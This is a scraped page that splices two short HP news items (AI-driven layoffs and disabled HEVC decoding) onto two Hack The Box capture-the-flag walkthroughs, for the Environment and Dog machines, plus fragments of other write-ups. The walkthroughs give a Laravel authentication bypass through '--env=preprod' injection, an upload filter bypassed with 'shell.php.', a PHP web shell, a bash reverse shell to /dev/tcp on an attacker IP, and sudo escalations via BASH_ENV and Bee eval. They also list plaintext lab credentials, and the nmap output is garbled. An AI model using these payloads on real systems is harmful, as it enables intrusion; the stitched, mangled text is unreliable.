HP Inc. said that it will lay off 4,000 to 6,000 employees in favor of AI deployments, claiming it will help save $1 billion in annualized gross run rate by the end of its fiscal 2028.
HP expects to complete the layoffs by the end of that fiscal year. The reductions will largely hit product development, internal operations, and customer support, HP CEO Enrique Lores said during an earnings call on Tuesday.
Using AI, HP will “accelerate product innovation, improve customer satisfaction, and boost productivity,” Lores said.
Some Dell and HP laptop owners have been befuddled by their machines’ inability to play HEVC/H.265 content in web browsers, despite their machines’ processors having integrated decoding support.
Laptops with sixth-generation Intel Core and later processors have built-in hardware support for HEVC decoding and encoding. AMD has made laptop chips supporting the codec since 2015. However, both Dell and HP have disabled this feature on some of their popular business notebooks.
HP discloses this in the data sheets for its affected laptops, which include the HP ProBook 460 G11 [PDF], ProBook 465 G11 [PDF], and EliteBook 665 G11 [PDF].
In this write-up, we will explore the “Environment” machine from Hack The Box, categorised as a Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective for the Environment machine:
The goal of this walkthrough is to complete the “Environment” machine from Hack The Box by achieving the following objectives:
User Flag:
The login page identified a Marketing Management Portal, and testing the Remember parameter with --env=preprod bypassed authentication, exposing user emails, including hish@environment.htb. The application runs PHP 8.2.28 and Laravel 11.30.0, which is vulnerable to argument injection (CVE-2024-52301) and UniSharp Laravel Filemanager code injection, highlighting further exploitation potential. The profile upload feature allowed a PHP file bypass by appending a . to the extension (shell.php.); a crafted payload confirmed code execution via phpinfo(). A PHP reverse shell was uploaded and triggered, connecting back to a listener and allowing retrieval of the user flag with cat user.txt.
Root Flag:
To escalate privileges and obtain the root flag, we first examined the contents of /home/hish, discovering a backup file keyvault.gpg and a .gnupg directory containing GnuPG configuration and key files. By copying .gnupg to /tmp/mygnupg and setting appropriate permissions, we used GPG to decrypt keyvault.gpg, revealing credentials including the Environment.htb password (marineSPm@ster!!). User “hish” had sudo privileges to run /usr/bin/systeminfo with preserved environment variables (ENV and BASH_ENV), creating a vector for privilege escalation. A script dark.sh containing bash -p was crafted and made executable; executing sudo BASH_ENV=./dark.sh /usr/bin/systeminfo triggered the script under elevated privileges, spawning a root shell and effectively granting full control of the system, allowing access to the root flag.
Enumerating the Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
nmap-sC-sV-oNnmap_initial.txt10.10.10.10
Nmap Output:
# Nmap 7.94SVN scan initiated Sun May 4 08:43:11 2025 as: nmap -sC -sV -oA initial 10.10.11.67Nmapscanreportfor10.10.11.67Hostisup (0.019s latency).Notshown:998closedtcpports (conn-refused)PORTSTATESERVICEVERSION22/tcpopensshOpenSSH9.2p1Debian2+deb12u5 (protocol 2.0)| ssh-hostkey:| 2565c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)|_2561f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)80/tcpopenhttpnginx1.22.1|_http-server-header:nginx/1.22.1|_http-title:Didnotfollowredirecttohttp://environment.htbServiceInfo:OS:Linux; CPE:cpe:/o:linux:linux_kernelServicedetectionperformed.Pleasereportanyincorrectresultsathttps://nmap.org/submit/.# Nmap done at Sun May 4 08:43:21 2025 -- 1 IP address (1 host up) scanned in 10.97 seconds
Analysis:
Port 22 (SSH): Secure Shell service for remote access, running OpenSSH 9.2p1 (Debian 12).
Port 80 (HTTP): Web server running nginx 1.22.1, redirecting to environment.htb
Web Enumeration on the Environment machine:
Perform web enumeration to discover potentially exploitable directories and files.
login (200): Login page, likely entry point for authentication.
/upload (405): Upload functionality present but restricted (Method Not Allowed).
/storage (301): Redirects to http://environment.htb/storage/.
/up (200): Page accessible, may contain system or application status.
/logout (302): Redirects back to login page.
/vendor (301): Redirects to http://environment.htb/vendor/, likely framework/vendor files.
/build (301): Redirects to http://environment.htb/build/, may contain application build assets.
/mailing (405): Mailing functionality endpoint, but restricted (Method Not Allowed).
Exploration for the Environment Machine
The website displays a standard interface with no obvious points of exploitation.
The login page identifies the application as a Marketing Management Portal, but no valid credentials are available to test authentication.
Attackers can examine the PHP script at the /upload endpoint to gather potential hints. The application runs on PHP 8.2.28 with Laravel 11.30.0, which may expose version-specific vulnerabilities.
On the discovered website, attackers can exploit CVE-2024-52301, a Laravel 11.30.0 argument injection flaw triggered when register_argc_argv is enabled. By sending crafted query strings, they can inject arguments into the PHP environment, potentially gaining unauthorised access or executing arbitrary commands.. This vulnerability poses a high risk, especially in shared hosting, but administrators can mitigate it by disabling register_argc_argv in php.ini and hardening server configurations.
Enumeration and Proof-of-Concept Testing for CVE-2024-52301
We will test the login page with blind credential attempts to see if any weak or default accounts accept access.
This is how the request and response appear when viewed through Burp Suite.
The request packet includes a parameter Remember=false, and the server responds with “Invalid Credentials“, indicating failed authentication.
Therefore, the next step is to modify the parameter by changing Remember=false to Remember=true and observe the server’s response.
Unfortunately, modifying Remember=false to Remember=true did not bypass authentication, as the login attempt still failed.
The output appears similar to the reaction shown above, confirming that the change in the Remember parameter did not affect authentication.
Removing the Remember parameter from the request still results in the same response, indicating no change in authentication behavior.
This PHP snippet checks the value of the $remember parameter to determine whether the user should stay logged in. If $remember equals 'False', the variable $keep_loggedin is set to False, meaning the session will not persist after login. If $remember equals 'True', then $keep_loggedin is set to True, allowing the application to keep the user logged in across sessions. Essentially, it controls the “Remember Me” functionality during authentication.
Modify the remember parameter to use a value other than false or true.
This code first sets the $keep_loggedin flag based on the $remember parameter, enabling the “Remember Me” feature if applicable. It then checks whether the application is running in the preprod environment, and if so, it automatically logs in as the user with ID 1 by regenerating the session, setting the session user ID, and redirecting to the management dashboard—essentially a developer shortcut for testing. If not in preprod, the code proceeds to look up the user in the database by their email.
When the query string ?--env=production is added to the URL, it injects the argument --env=production into $_SERVER['argv'], which Laravel interprets through its environment detection mechanism. This forces the framework to treat the application as if it is running in a production environment, causing the @production directive in Blade templates to render <p>Production environment</p> as the output.
By adding the parameter --env=preprod to the request packet, it may trigger the application’s pre-production environment logic seen in the code, potentially bypassing normal authentication and granting direct access as the default user (ID 1).
We identified a profile displaying the details Name: Hish and Email: hish@environment.htb. The profile also includes a feature that allows uploading a new picture, which may present an opportunity to test for file upload vulnerabilities.
To test how the application processes file uploads, we uploaded a random .png file through the profile’s picture upload functionality.
However, the upload attempt returned an error message in the browser: “Unexpected MimeType: application/x-empty”, indicating that the application rejected the file due to an invalid or unrecognised MIME type.
Renaming the uploaded file with a .php extension prompted the application to respond with “Invalid file detected,” confirming that server-side validation actively blocks direct PHP or executable uploads.
The vulnerability occurs in the file upload feature, where attackers can circumvent the restrictions by adding a . after a PHP file (for example, filename.php.) while using an allowed MIME type. Even though the application blocks certain extensions like PHP or HTML and MIME types such as text/x-php, text/html, or text/plain, this trick enables malicious files to be uploaded successfully. Snyk rates this issue as Critical with a CVSS v3.1 score of 9.8 and High with a CVSS v4.0 score of 8.9.
Let’s research exploits targeting the UniSharp Laravel Filemanager upload functionality.
Version-Agnostic Testing for UniSharp Laravel File Upload Vulnerabilities
If the UniSharp Laravel Filemanager version is unknown, you can test uploads without relying on the version. First, upload safe files like .jpg or .png to confirm the endpoint works. Then, try potentially executable files like .php, .php., or .php.jpg and watch the server response. HTTP 200 may indicate a bypass. You can also tweak MIME types to test validation. Monitor responses (200, 403, 405) and see if uploaded files can execute code—this approach highlights risky upload behaviors without knowing the exact version.
Modify the PHP file’s name by adding a “.” after the .php extension (e.g., test.php.). Actively test whether the upload filter allows bypassing and if server-side code runs.
The upload bypass succeeded, and the application accepted the .php. file, indicating the filter can be bypassed. The uploaded payload may execute.
The GIF89a output shows that the uploaded file is being treated as an image rather than executed as PHP. Since GIF89a is the GIF header, the server is likely enforcing MIME type checks or serving uploads as static files. This behaviour prevents the embedded PHP code from running directly. A GIF–PHP polyglot can bypass validation by starting with a valid GIF header while containing PHP code for execution. Extension tricks like .php., .php%00.png, or encoding bypasses may also allow the server to process the file as PHP. If the server serves uploads only as images, an LFI vulnerability could include the uploaded file to execute the PHP payload.
File Upload & Reverse Shell
Since the earlier PHP extension bypass worked, the next logical step was to upload a file phpinfo(); to confirm code execution. Retrieving this file successfully displayed the PHP configuration page, verifying that arbitrary PHP code can indeed run on the server.
The uploaded file ran successfully, and the browser showed phpinfo() output, confirming the server processes the injected PHP code.
Set up a listener on your machine to catch the reverse shell
We successfully uploaded the PHP reverse shell payload, and executing it attempted to connect back to the listener, as demonstrated in the command example above.
The connection did not trigger.
We started a Python HTTP server to host the payload for the target system to retrieve.
User “hish” attempted to retrieve a file using curl from the machine but received a “File not found” response.
We consolidated all the bash commands into a new script file to simplify execution.
We can read the user flag with the command cat user.txt.
Escalate to Root Privileges Access
Privilege Escalation:
Since this user has read access, the contents of the directory at www-data/home/hish can be inspected. Inside the backup directory, we found a file named keyvault.gpg.
GnuPG Key Inspection
We discovered a .gnupg directory.
Within the .gnupg directory of the user hish, several key GnuPG files and directories are present, including openpgp-revocs.d for revoked keys, private-keys-v1.d containing the user’s private keys, pubring.kbx and its backup pubring.kbx~ for storing public keys, random_seed used by GnuPG for cryptographic operations, and trustdb.gpg, which maintains the trust database for verifying key authenticity.
Decrypting the Backup File with GPG
The /tmp directory is empty and contains no files of interest.
User “hish” copied the .gnupg directory to /tmp/mygnupg to simplify access and analysis, likely to inspect or manipulate GnuPG-related files, such as private keys or configuration data, in a more convenient temporary location.
The /tmp/mygnupg directory permissions were set to 700, restricting access so that only the owner can read, write, or execute its contents.
After copying, the /tmp/mygnupg directory exists, but it contains no files of interest.
The command gpg --homedir /tmp/mygnupg --list-secret-keys tells GnuPG to use the directory /tmp/mygnupg as its home and lists all secret (private) keys stored there. This allows the user to view available private keys without affecting the default GPG configuration.
Using GnuPG with the home directory set to /tmp/mygnupg, the command decrypts /home/hish/backup/keyvault.gpg and writes the decrypted content to /tmp/message.txt, leveraging the secret keys stored in that directory.
After some time, we successfully retrieved message.txt, which may contain potentially useful information.
The message.txt file contains a list of credentials for different accounts. Specifically, it shows a PayPal password (Ihaves0meMon$yhere123), an Environment.htb password (marineSPm@ster!!), and a Facebook password (summerSunnyB3ACH!!). These credentials may allow access to the corresponding accounts or services.
Accessing User Hish’s Privileges
The password “marineSPm@ster!!” appears to belong to the Environment.htb account, as the other passwords correspond to PayPal and Facebook.
We can connect using SSH.
Privilege Escalation with systeminfo
The sudo -l Output for user “hish” on the “environment” host shows they can run /usr/bin/systeminfo with sudo privileges as any user. The default settings include env_reset, mail_badpass, a secure_path, and preservation of ENV and BASH_ENV variables via env_keep. This preservation of ENV and BASH_ENV creates a potential security vulnerability, as these variables can be manipulated to execute arbitrary commands, allowing “hish” to bypass restrictions and escalate privileges when running the allowed command.
User “hish” on the “environment” host runs commands to create a script named dark.sh containing bash -p, which spawns a privileged bash shell. First, echo 'bash -p' > dark.sh write the bash -p command into dark.sh. Then, chmod +x dark.sh grants execute permissions to the script. These steps prepare a malicious script for a potential privilege escalation exploit, likely to be used with a preserved environment variable, like BASH_ENV in a subsequent command, to bypass sudo restrictions and gain elevated privileges.
User “hish” on the “environment” host runs sudo BASH_ENV=./dark.sh /usr/bin/systeminfo to exploit the preserved BASH_ENV environment variable, as revealed by sudo -l. By setting BASH_ENV to point to the previously created dark.sh script (containing bash -p), the command triggers the execution of dark.sh when systeminfo runs with sudo privileges. Since bash -p spawns a privileged bash shell, this allows “hish” to gain elevated privileges, bypassing the restricted sudo permissions that only allow running /usr/bin/systeminfo, effectively achieving privilege escalation.
We can read the user flag with the command cat user.txt.
It is very important to have a development or test environment for whatever you are working on. It does not matter if it is your home made project, your personal website, your school project or your work stuff. You should always follow good practice and have a test environment (with backup) for all changes and experiments before going into
In this write-up, we’ll go step-by-step through the Dog machine from Hack The Box, rated Easy difficulty. The box involves exploring a Linux environment with a Backdrop CMS web application. The path includes abusing an exposed Git repository, exploiting a CMS vulnerability, and escalating privileges to capture both the user and root flags.
Objective on Dog Machine
The primary objective is to complete the Dog machine by accomplishing the following tasks:
User Flag: Obtain initial access to the Backdrop CMS by leveraging credentials (username: tiffany, password: BackDropJ2024DS2024) exposed in the settings.php file within the publicly accessible .git repository. Exploit an authenticated remote command execution vulnerability (EDB-ID: 52021) in Backdrop CMS version 1.27.1 by uploading a malicious module containing a PHP web shell, achieving a reverse shell as the www-data user. Transition to the johncusack user by reusing the exposed password and retrieving the user flag
Root Flag: Escalate privileges by exploiting the misconfigured /usr/local/bin/bee binary, which allows the johncusack user to run commands as root via sudo. Use the bee binary’s eval parameter to execute a privileged command, such as sudo /usr/local/bin/bee –root=/var/www/html eval “system(‘cat /root/root.txt’);”, to read the root flag and achieve full system compromise.
Reconnaissance and Enumeration on Dog Machine
Establishing Connectivity
I connected to the Hack The Box environment via OpenVPN using my credentials, running all commands from a Kali Linux virtual machine. The target IP address for the Dog machine was 10.10.11.58.
Initial Scanning
To identify open ports and services, I ran an Nmap scan:
nmap-sV-sC10.10.11.58-oAinitial
Nmap Output:
┌─[dark@parrot]─[~/Documents/htb/dog]└──╼$nmap-sC-sV10.10.11.58-oAinitial# Nmap 7.94SVN scan initiated Sun Jun 29 18:19:32 2025 as: nmap -sC -sV -oA initial 10.10.11.58PORTSTATESERVICEVERSION22/tcpopensshOpenSSH8.2p1Ubuntu4ubuntu0.12 (Ubuntu Linux; protocol2.0)| ssh-hostkey:| 307297:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)| 25627:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)|_25693:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)80/tcpopenhttpApachehttpd2.4.41 ((Ubuntu))| http-git:| 10.10.11.58:80/.git/| Gitrepositoryfound!| Repositorydescription:Unnamedrepository; editthisfile'description'tonamethe...|_Lastcommitmessage:todo:customizeurlaliases.reference:https://docs.backdro...| http-robots.txt:22disallowedentries (15 shown)| /core//profiles//README.md/web.config/admin| /comment/reply/filter/tips/node/add/search/user/register|_/user/password/user/login/user/logout/?q=admin/?q=comment/reply|_http-title:Home | Dog|_http-generator:BackdropCMS1 (https://backdropcms.org)|_http-server-header:Apache/2.4.41 (Ubuntu)# Nmap done at Sun Jun 29 18:20:33 2025 -- 1 IP address (1 host up) scanned in 60.91 seconds
Analysis:
Port 22 (SSH): OpenSSH 8.2p1 running on Ubuntu; key fingerprints leaked, but no obvious auth bypass exposed.
Port 80 (HTTP): Apache 2.4.41 hosting Backdrop CMS 1 with an exposed .git/ repo, robots.txt leaks paths, and potential admin panel access.
Web Enumeration on Dog Machine
Exploring the Website
Navigating to http://10.10.11.58 a dog-themed website, fitting the machine’s name.
The page footer reveals that the website operates on Backdrop CMS, a platform I previously explored in the Hack The Box CarpeDiem machine walkthrough.
Accessing the login endpoint displays the login page.
The .git directory contains several internal folders related to version control.
Analysing the Git Repository
The Gobuster scan uncovered a .git directory — a significant discovery, as exposed Git repositories can leak sensitive data such as source code or credentials.
Examining settings.php
While inspecting the .git directory contents, I found several folders and files that indicate a full web application project. Directories like core, files, layouts, themes, and sites suggest an organised structure, possibly for a CMS or a custom PHP-based system. Notably, index.php appears to be the main entry point, and settings.php may contain configuration details, which could include sensitive data like database credentials. The presence of robots.txt, along with documentation files such as README.md and LICENSE.txt, further supports that this is a production-ready web application. These findings warrant a deeper inspection for potential misconfigurations or exposed credentials
The settings.php file is the main configuration file for a Backdrop CMS website. While reviewing it, I found hardcoded database credentials (root:BackDropJ2024DS2024), which is a serious security concern if exposed publicly. This means anyone with access to this file could potentially connect to the database and access or manipulate sensitive data. The file also defines paths for configuration directories, session settings, and site behaviour like caching and error handling. Additionally, it includes a unique hash_salt feature used for security tokens and one-time login links. From a security standpoint, this file contains multiple pieces of sensitive information that should never be publicly accessible. Its presence in an exposed .git directory highlights the risks of improperly secured version control systems. This misconfiguration could allow an attacker to take full control of the application or pivot further into the underlying system.
Configuration Directory Security
This section of the settings.php file specifies where the Backdrop CMS stores its configuration files, which include settings for things like content types, modules, and views. By default, these are stored in the files directory under a hashed path, like so:
While this works functionally, it’s not ideal from a security perspective. These paths reside within the web root, so enabling directory listing or guessing the full path could allow someone to access sensitive configuration files directly from the browser. Backdrop’s documentation recommends moving these directories outside of the web-accessible root, like:
This ensures critical configuration data remains protected from unauthorised users.
Discovering User Information
Inside /files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active, I found a large number of JSON files, each representing different parts of the site’s active configuration — everything from enabled modules to content structure settings.
Within the update_settings.json file, a possible username tiffany was identified and noted for future reference.
Gaining Access to Backdrop CMS
Logging into the CMS
Returning to the Dog homepage via the browser, I attempted to log in. Initial guesses using common default credentials such as admin:admin and admin:password were unsuccessful. Recalling the credentials exposed in the settings.php file, I attempted to log in using root with the corresponding password (BackDropJ2024DS2024), but this also failed. After multiple attempts, I found the valid credentials:
Username: tiffany
Password: BackDropJ2024DS2024 (retrieved from settings.php)
This successful login confirmed that the username found in update_settings.json was legitimate and paired with the database password from settings.php.
Backdrop CMS Enumeration and Vulnerability Assessment
Backdrop CMS is a robust, enterprise-level content management system built for creating and managing dynamic websites. Its deployment on the target system suggests a structured web application environment with multiple modules and components that could be misconfigured or vulnerable.
After accessing the CMS interface, I initially searched for a file upload mechanism to deploy a PHP reverse shell; however, I found no direct upload functionality.
Next, I navigated to the CMS dashboard and obtained the version information from the “Status Report” section within the Reports menu.
CVE-2024-41709: Stored XSS in Backdrop CMS via Unsanitized Field Labels
After conducting further analysis, I identified potential vulnerabilities in the CMS.
A stored Cross-Site Scripting (XSS) vulnerability, identified as CVE-2024-41709, affects Backdrop CMS versions before 1.27.3 and 1.28.x before 1.28.2. The vulnerability arises due to insufficient sanitisation of field labels, which are improperly escaped when rendered in certain parts of the CMS interface.
While exploitation requires the attacker to have the “administer fields” permission, it still poses a threat in multi-user environments or cases of misconfigured access control. Successful exploitation could lead to session hijacking, browser-based attacks, or privilege escalation.The issue has been fixed in Backdrop CMS 1.27.3 and 1.28.2. Users are strongly advised to upgrade to the latest version to mitigate this vulnerability and prevent potential compromise.
I came across an Exploit-DB entry (EDB-ID: 52021) by Ahmet Ümit BAYRAM, which details an authenticated remote command execution vulnerability affecting Backdrop CMS version 1.27.1—the same version identified on the Dog instance.
This script takes advantage of a security flaw in Backdrop CMS version 1.27.1. It’s designed for someone who already has login access with the right permissions (like an admin). The script quietly creates a fake “module” that looks harmless but contains a web shell—a small tool that lets an attacker run system commands through a web browser.
User Management Insights
This output appears to be from the user management section of a Backdrop CMS admin panel, listing all registered user accounts. Each entry includes the username, status, role, account age (member for), last modified, and last access times. All users have an Active status and the Administrator role, granting them full control over the CMS.
Notable accounts include tiffany, rosa, axel, john, and dogBackDropSystem. Most accounts show no access or updates for nearly a year, with tiffany as the only user with recent activity. Each account includes an Edit option to modify user details.
The presence of multiple inactive administrator accounts raises concerns about poor user management practices. Furthermore, dormant admin accounts heighten the risk of privilege escalation or brute-force attacks, particularly when passwords are weak or reused.
Crafting the Malicious Module
Here’s how it works:
First, it creates two files. One is shell.info, which tricks the system into thinking it’s a normal module. The second is shell.php, which has a small piece of code like this:
if(isset($_GET['cmd'])) {system($_GET['cmd']);}
That code lets the attacker enter any command in a browser and run it on the server. These files are zipped up as shell.zip.
The attacker then uploads this zip file through the CMS at /admin/modules/install. Once it’s in, they can visit /modules/shell/shell.php and take full control of the site.
Executing the Python script generates an output similar to the one shown above.
Details of shell.info
This file is named shell.info and is crafted to mimic a legitimate Backdrop CMS module. It contains metadata that describes the module, including its name (Block), description, package category (Layouts), version (1.27.1), and compatibility (backdrop = 1.x). The configure line tells the CMS where the module’s settings can be accessed in the admin panel. The project and timestamp fields are added automatically by Backdrop’s packaging system to make the module appear authentic. This file helps the fake module pass as legitimate during installation, which is key to exploiting the vulnerability.
Details of shell.php
The shell.php file is a simple web-based command execution tool known as a web shell. It creates a form in a browser that allows the user to input system commands.
When opened in a browser, it displays a text field and a submit button. If a command is entered (e.g., ls, whoami) and submitted this line:
system($_GET['cmd']);
executes that command on the server and shows the result on the page. This happens only if the URL includes ?cmd=your_command, such as:
/shell.php?cmd=whoami
It’s a powerful backdoor often used by attackers to gain control over a server after uploading it. In this case, it’s part of an exploit targeting Backdrop CMS.
Obtaining a Reverse Shell on Dog Machine
To obtain a reverse shell, you can use the well-known PHP reverse shell by Pentestmonkey. Download it using:
This package was uploaded through the administrative interface by navigating to Functionality → Install Module → Manual Installation. Once the upload was completed, the malicious module was installed, paving the way for remote code execution through the embedded web shell.
To prepare the malicious module for upload, the folder containing the payload (e.g., shell/) must be archived into a .tar.gz file format. This is required because Backdrop CMS accepts .tar.gz packages for manual module installation.
Here’s how to create it:
tar-czfshell.tar.gzshell/
After uploading the .tar.gz file, the CMS extracted and deployed its contents, allowing the attacker to trigger the payload
The installation was completed successfully without any errors.
Establishing a Reverse Shell
The index appears as illustrated in the screenshot above.
The shell.php interface presents a simple form with a text input field for entering system commands, along with an “Execute” button to run them.
Command injection has been successfully achieved, allowing arbitrary system commands to be executed on the target server.
Let’s proceed by entering a bash reverse shell command into the input field of the shell.php interface. This will attempt to establish a connection back to your machine. Ensure you have a listener (like Netcat) running on your machine before executing the command.
Example reverse shell command (adjust IP and port accordingly):
bash-i >& /dev/tcp/10.10.14.99/4444 0>&1
The payload executed, but no connection was received.
We’ll modify the reverse shell command to use an alternative format.
Ultimately, the command executed successfully and produced the anticipated response.
Session Transition: www-data to johncusack within Dog Machine
While enumerating, I found a user account named johnsucack.
Using the same password from settings.php, I switched to this user
This grants access to the user flag with cat user.txt.
Escalate to Root Privileges Access on Dog Machine
Identifying Sudo Privileges
I checked for commands, the johnsucack user could run with elevated privileges:
The output revealed that johncusack could run /usr/local/bin/bee as root. After analyzing the binary, I found it accepted a root parameter to define a working directory, and an eval parameter to execute arbitrary code — basically, it was buzzing with privilege… and poor design choices
Understanding Bee: The CLI Tool for Backdrop CMS
Bee is a command-line utility tailored specifically for Backdrop CMS. It offers a suite of tools that help developers and administrators manage Backdrop sites more efficiently, directly from the terminal. Similar to Drush for Drupal, Bee streamlines repetitive administrative tasks.
Key capabilities of Bee include:
Running cron jobs to automate background processes
Clearing caches to apply configuration or content updates
Downloading and installing Backdrop core or contributed projects
Managing modules and themes (install, enable, disable)
Viewing system information like installed projects and status reports
In essence, Bee simplifies the management of Backdrop CMS, saving time and reducing reliance on the web interface for routine tasks. The source code is publicly available here:
The structured command set streamlines everyday tasks, enhances scripting possibilities, and supports robust site maintenance workflows from the command line.
Key Functional Areas:
Configuration: Handle export, import, and editing of configuration files.
Core & Projects: Install Backdrop, manage core updates, and enable/disable modules or themes.
Database: Drop, export, and import databases with ease.
Users & Roles: Create or manage user accounts, assign roles, and control permissions.
Cache & Maintenance: Clear caches and toggle maintenance mode for updates or debugging.
Cron & State: Run scheduled tasks and view or set internal state variables.
Advanced Utilities: Run PHP code (eval), execute scripts, or open SQL CLI sessions.
Exploiting the Bee Binary
The command sudo /usr/local/bin/bee --root=/var/www/html eval "system('id');" is used to execute a PHP system call through the Bee CLI tool under root privileges. In this case, the Bee binary is located at /usr/local/bin/bee, and the --root=/var/www/html flag specifies the path to the Backdrop CMS installation. The eval command tells Bee to evaluate the provided PHP code—specifically, system('id');—which runs the Linux id command and outputs the current user’s identity. Running this with sudo means the command is executed as the root user, so the output will likely return uid=0(root) along with group details, confirming root-level execution. This showcases how Bee can execute arbitrary system commands if misconfigured or granted excessive privileges, making it a potential target for post-exploitation during penetration testing or privilege escalation scenarios.
Retrieving the Root Flag
The command sudo /usr/local/bin/bee --root=/var/www/html eval "system('cat /root/root.txt');" retrieves the contents of the root.txt file, which typically serves as proof of root access in penetration testing platforms like Hack The Box. Running the command with sudo grants it root privileges. The Bee CLI tool, located at /usr/local/bin/bee, uses the eval argument to execute a PHP system() call that reads the root.txt file. The --root=/var/www/html flag tells Bee where to find the Backdrop CMS installation. If the command runs successfully, it prints the content of the root.txt file, confirming full system compromise. This approach shows how attackers can exploit misconfigured CLI tools like Bee, especially when administrators grant them root access, to execute arbitrary system commands and gain complete control.
Alternative Approach to Access the Root Flag
Even if the system doesn’t show special permissions on the bash program, it’s still possible to gain full control (root access) using a specific trick. Here’s what’s happening in simple terms:
We’re using a tool called Bee that administrators sometimes install to help manage websites. Normally, Bee is safe, but in this case, it’s being run with full system power (as the root user). By giving Bee a small instruction, telling it to open a command prompt (/bin/bash) using a special option (-p) — We can open a powerful backdoor. This option tells the system, “Don’t lower my power,” and because Bee already runs with full control, it allows us to keep that control.
So even though the bash tool doesn’t have special access on its own, using it through Bee (which does) lets us fully control the system. This shows how a trusted tool, if misused or poorly secured, can give attackers full access.
This grants access to the user flag with cat root.txt.
LazySysAdmin is an easy to crack VM. There are multiple ways to crack this machine, several ports and mis-configured services are present inside this box. The takeaway from this machine for me is to understand a service better and thinking simpler to get root privileges after we are able to exploit a badly configured service. […]
LazySysAdmin is an easy to crack VM. There are multiple ways to crack this machine, several ports and mis-configured services are present inside this box. The takeaway from this machine for me is to understand
Login
